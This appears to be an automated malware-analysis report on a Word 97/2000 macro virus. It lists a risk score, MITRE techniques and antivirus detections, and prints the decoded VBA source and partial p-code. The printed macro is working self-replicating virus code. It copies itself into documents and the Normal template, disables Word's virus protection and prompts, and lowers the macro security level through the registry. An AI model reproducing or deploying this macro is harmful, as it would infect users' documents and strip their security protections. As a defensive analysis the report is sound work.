MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro overwrites its own code with malicious content and attempts to modify the Word security level, indicating an attempt to evade detection and potentially establish persistence. The ClamAV detections suggest it's a known trojan.
Heuristics 3
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4680 bytes |
SHA-256: af106606fdcb2c78934e17b84084978c38f466b8ae4475f507fcfcae8fce7b77 |
|||
|
Detection
ClamAV:
Doc.Trojan.Onex-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Extra"
Attribute VB_Base = "1Normal.Extra"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set c = New DataObject
If ActiveDocument.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = ActiveDocument.VBProject.VBComponents(1)
saveit = True
ElseIf NormalTemplate.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = NormalTemplate.VBProject.VBComponents(1)
End If
With go
c.SetText Extra.VBProject.VBComponents(1).CodeModule.lines(1, Extra.VBProject.VBComponents(1).CodeModule.countoflines)
.CodeModule.deletelines 1, .CodeModule.countoflines
.CodeModule.insertlines 1, c.GetText
.Name = "Extra"
End With
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
' Word 97/2k.Extra - Psyclone X
' My first virus for the year 2k
' Processing file: /opt/analyzer/scan_staging/1cfabbfd645341138143184d092c6dbd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Extra - 2747 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' SetStmt
' New <crash>
' Set c
' Line #3:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' IfBlock
' Line #4:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #5:
' LitVarSpecial (True)
' St saveit
' Line #6:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' ElseIfBlock
' Line #7:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #8:
' EndIfBlock
' Line #9:
' StartWithExpr
' Ld GoSub
' With
' Line #10:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd countoflines
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd lines 0x0002
' Ld c
' ArgsMemCall SetText 0x0001
' Line #11:
' LitDI2 0x0001
' MemLdWith CodeModule
' MemLd countoflines
' MemLdWith CodeModule
' ArgsMemCall deletelines 0x0002
' Line #12:
' LitDI2 0x0001
' Ld c
' MemLd GetText
' MemLdWith CodeModule
' ArgsMemCall insertlines 0x0002
' Line #13:
' LitStr 0x0005 "Extra"
' MemStWith New
' Line #14:
' EndWith
' Line #15:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #16:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #17:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #18:
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #19:
' LitDI2 0x0000
' LitStr 0x000B "Security..."
' LitStr 0x0005 "Macro"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #20:
' LitDI4 0x0001 0x0000
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #21:
' EndIfBlock
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.